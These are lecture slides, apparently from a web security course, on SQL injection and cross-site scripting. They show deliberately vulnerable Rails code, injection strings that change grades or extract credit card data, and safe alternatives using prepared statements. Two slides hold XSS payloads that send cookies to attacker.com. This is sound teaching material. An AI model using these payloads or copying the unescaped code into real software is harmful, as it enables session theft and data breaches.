Unsafe Server Code advisorName = params[:form][:advisor] students = - - PowerPoint PPT Presentation

unsafe server code
SMART_READER_LITE
LIVE PREVIEW

Unsafe Server Code advisorName = params[:form][:advisor] students = - - PowerPoint PPT Presentation

Unsafe Server Code advisorName = params[:form][:advisor] students = Student.find_by_sql( "SELECT students.* " + "FROM students, advisors " + "WHERE student.advisor_id = advisor.id " + "AND advisor.name =


slide-1
SLIDE 1

CS 142 Lecture Notes: Injection Attacks Slide 1

Unsafe Server Code

advisorName = params[:form][:advisor] students = Student.find_by_sql( "SELECT students.* " + "FROM students, advisors " + "WHERE student.advisor_id = advisor.id " + "AND advisor.name = '" + advisorName + "'"); SELECT students.* FROM students, advisors WHERE student.advisor_id = advisor.id AND advisor.name = 'Jones'

Typical query:

Value from form field

slide-2
SLIDE 2

CS 142 Lecture Notes: Injection Attacks Slide 2

Injection Attack

Jones'; UPDATE grades SET g.grade = 4.0 FROM grades g, students s WHERE g.student_id = s.id AND s.name = 'Smith SELECT students.* FROM students, advisors WHERE student.advisor_id = advisor.id AND advisor.name = 'Jones'; UPDATE grades SET g.grade = 4.0 FROM grades g, students s WHERE g.student_id = s.id AND s.name = 'Smith'

Resulting query: Enter the following in the "Advisor name" field:

slide-3
SLIDE 3

CS 142 Lecture Notes: Injection Attacks Slide 3

Stealing Private Information

slide-4
SLIDE 4

CS 142 Lecture Notes: Injection Attacks Slide 4

Stealing Private Info, cont'd

month = params[:form][:month]

  • rders = Orders.find_by_sql(

"SELECT pizza, toppings, quantity, date " + "FROM orders " + "WHERE user_id=" + user_id + "AND order_month=" + month); October AND 1=0 UNION SELECT name as pizza, card_num as toppings, exp_mon as quantity, exp_year as date FROM credit_cards '

What if "month" is: Server query code:

slide-5
SLIDE 5

CS 142 Lecture Notes: Injection Attacks Slide 5

Resulting Query

SELECT pizza, toppings, quantity, date FROM orders WHERE user_id=94412 AND order_month=October AND 1=0 UNION SELECT name as pizza, card_num as toppings, exp_mon as quantity, exp_year as date FROM credit_cards

slide-6
SLIDE 6

CS 142 Lecture Notes: Injection Attacks Slide 6

Resulting Query

SELECT pizza, toppings, quantity, date FROM orders WHERE user_id=94412 AND order_month=October AND 1=0 UNION SELECT name as pizza, card_num as toppings, exp_mon as quantity, exp_year as date FROM credit_cards

slide-7
SLIDE 7
  • CardSystems
  • Credit card payment processing company
  • SQL injection attack in June 2005
  • The Attack
  • Credit card #s stored unencrypted
  • 263,000 credit card #s stolen from database
  • 43 million credit card #s exposed

CS 142 Lecture Notes: Injection Attacks Slide 7

CardSystems Attack

7

slide-8
SLIDE 8

CS 142 Lecture Notes: Injection Attacks Slide 8

Let Rails Handle SQL Escaping

Student.find_by_sql("SELECT students.* " + "FROM students, advisors " + "WHERE student.advisor_id = advisor.id " + "AND advisor.name = ?", params[:form][:advisor])

slide-9
SLIDE 9

CS 142 Lecture Notes: Injection Attacks Slide 9

Prepared Statements

$statement = odbc_prepare($connection, "SELECT * FROM students " . "WHERE advisor = ? AND gpa >= ?;");

  • dbc_execute($statement, array($advisor, $gpa));

statement = connection.prepareStatement( "SELECT * FROM students " + "WHERE advisor = ? AND gpa >= ?;"); statement.setString(1, advisor); statement.setString(2, gpa); ResultSet rs = statement.executeQuery();

Java: PHP:

slide-10
SLIDE 10

CS 142 Lecture Notes: Injection Attacks Slide 10

Stored XSS Attack

... <div class="blogComment"> <%= @comment.message.html_safe%> </div> ... I agree completely with Alice ... <img style="display:none" id="cookieMonster"> <script> img = document.getElementById("cookieMonster"); img.src = "http://attacker.com?cookie=" + encodeURIComponent(document.cookie); </script>

No escaping!

Attacking blog entry: Buggy server template:

slide-11
SLIDE 11

CS 142 Lecture Notes: Injection Attacks Slide 11

Reflected XSS Attack

... <h1>Search Results</h1> Results for <%= params[:searchTerm].html_safe %> ...

No escaping!

Buggy server template: Justin Bieber <img style="display:none" id="cookieMonster"> <script> img = document.getElementById("cookieMonster"); img.src = "http://attacker.com?cookie=" + encodeURIComponent(document.cookie); </script> Attacking search entry:

slide-12
SLIDE 12

CS 142 Lecture Notes: Cookies Slide 12